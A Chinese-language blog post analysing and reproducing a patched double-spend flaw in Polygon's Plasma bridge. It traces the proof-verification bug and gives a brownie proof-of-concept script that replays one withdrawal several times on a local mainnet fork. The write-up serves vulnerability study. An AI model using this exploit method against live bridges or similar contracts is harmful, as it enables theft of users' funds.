Polygon(matic)双花漏洞分析与复现
Polygon(matic)双花漏洞分析与复现
前几天Polygon链修复了一个严重漏洞,据说影响8.5亿美元资产,发现这个漏洞的白帽子拿到了应该是历史上最高的赏金(200万美元),还是值得学习一下的。
 

0x01 漏洞详情

基本上看immunefi发的文章就够了:
 
简单来说就是,用户需要将资产从L2(Polygon)转移到L1(Ethereum)的话需要调用ERC20PredicateBurnOnly合约的startExitWithBurntTokens函数,提交一些证明,证明资产在L2上已经被销毁了,然后该函数会生成一个唯一退出凭证给用户,经过7天之后,用户调用WithdrawManager.sol合约的processExits函数销毁凭证才能正式提取资产。
 
其中问题在于,调用startExitWithBurntTokens函数生成这个退出凭证的时候,凭证ID会受参数影响而变化,在验证的时候,由于_getNibbleArray函数的特性,对于攻击者精心设计的不同参数,会给出相同的结果,导致验证被绕过。
notion image
根据红框中的内容可以得知,_getNibbleArray函数会判断参数的第一个数值是否为1或者3,如果都不是则忽略,正是因为这一个忽略,导致可以使用除1和3开头以外的所有的二位数(80个224个)来构造参数,而不影响结果。
 
然后追一下_getNibbleArray函数的参数来自哪里
notion image
_getNibbleArray函数的参数来自MerklePatriciaProof合约的verify函数的encodedPath参数(第二个参数),再往上追一下
notion image
verify函数的encodedPath参数来自WithdrawManager合约的verifyInclusion函数的data.toExitPayload().getBranchMaskAsBytes()函数。然后就是最后一层了
notion image
verifyInclusion函数的data参数来自于ERC20PredicateBurnOnly合约的startExitWithBurntTokens函数,回到文首提到的部分了,这个函数是外部可调,而且参数可控的。
 
通过上面分析的兼容性问题以及参数可控,攻击者在理论上已经可以进行一次正常的从L2到L1的提现,然后通过不同的参数重复构造多个退出凭证,并得以通过验证,在期限过之后既可以调用processExits函数销毁凭证并多次提现资产。
 
PS:唯一没搞明白的是文章中说有14*16=224种方式编码出同样的路径(path),不懂14和16这两个数字代表什么,文章中也没具体解释,在我的实践中,是没有这么多的,只有80个,也就是说对于同一笔充值,可以双花79次。有搞清楚的朋友希望能点拨一下。
追加:经过@snowming的提点终于脑袋开窍了,感谢。两位数是16进制的,包含a-f,由于第一位不能为1和3,所以只为14个数字,第二位没有限制,可以为16个数字,所以是14*16=224
 

0x02 合约降级

在复现之前,要把链上的合约状态降级到漏洞修复之前,主要是被修补的WithdrawManager
修改了代理合约指向的逻辑合约地址
notion image
经过核对,发现0x017地址确实是存在漏洞的WithdrawManager合约,那么根据这笔交易的区块号13396339,到时候fork主网建立本地测试网的时候,只能在这个区块号之前的高度去fork。
 

0x03 复现思路

因为这个漏洞是将一笔正常的提现,重复提很多遍,所以得找个有提现记录的地址
notion image
然后找到这个地址生成退出凭证的交易
notion image
拿到这个data参数内容后直接去解码
notion image
解出来是数组形式的,看下代码找找data.toExitPayload().getBranchMaskAsBytes()指向的是哪个
notion image
指向的是第8个,从0开始数,那就是倒数第二个'0004',这个参数就是之前测试过的,把它改成只要不以1和3开头的二位数,都能得到相同的结果,例如'2004''0104',改了之后再encode回来就行。
 

0x04 PoC

我这里选择fork的区块高度是13260334,因为在这个高度,0xf5ef用户申请提现正好过了7天期限,但又还没有把资产提取出来,所以在这个区块能模拟得更完整。
ganache-cli --fork https://api.archivenode.io/$ARCHIVENODE_TOKEN@13260334
根据以上思路就可以写PoC了,我这里写的是brownie脚本(不完整)
from brownie import accounts,interface,chain
from rich import print as rp

def main():
    hacker = accounts.at('0xf5efadf28fb98566ceb09407f34b8ac9143add69', force=True)
    WithdrawManager = interface.IWithdrawManager("0x2a88696e0ffa76baa1338f2c74497cc013495922")
    Dai = interface.IDai("0x6b175474e89094c44da98b954eedeac495271d0f")
    ERC20PredicateBurnOnly = interface.IERC20PredicateBurnOnly("0x158d5fa3ef8e4dda8a5367decf76b94e7effce95")

    rp('[bold green]------ Exploit: verifyInclusion byte discard bug ------------[/]')
    rp(f':vampire: [bold]before: [/] balance is {Dai.balanceOf(hacker) / 1e18} Dai')
    rp('[bold green]------> Step 1: call processExits() to make a normal withdrawal[/]')
    WithdrawManager.processExits("0x6B175474E89094C44Da98b954EedeAC495271d0F",{'from':hacker})
    rp(f':vampire: [bold]After: [/] balance is {Dai.balanceOf(hacker) / 1e18} Dai')

    rp('[bold green]------> Step 2: call startExitWithBurntTokens() repeatedly to mint ExitNFT[/]')
    for i in range(1, 3):
        ERC20PredicateBurnOnly.startExitWithBurntTokens("0xf90c82840b31070b9bdb8f820"+str(i)+"0401",{'from':hacker})

    chain.sleep(60 * 60 * 24 * 7)
    rp(f':vampire: [bold]before: [/] balance is {Dai.balanceOf(hacker) / 1e18} Dai')
    rp('[bold green]------> Step 3: call processExits() to make multiple withdrawals[/]')
    WithdrawManager.processExits("0x6B175474E89094C44Da98b954EedeAC495271d0F", {'from': hacker})
    rp(f':vampire: [bold]After: [/] balance is {Dai.balanceOf(hacker) / 1e18} Dai')

    chain.reset()
运行测试一下
notion image
可以看到用户原本的Dai余额为0,正常提现一次之后有了33000 Dai,然后后面进行了两次双花,获利了66000 Dai,其实可以双花更多次,但是Polygon Plasma桥里的Dai已经不够了。
 
完整代码开源地址:https://github.com/Rivaill/PolygonVulPoC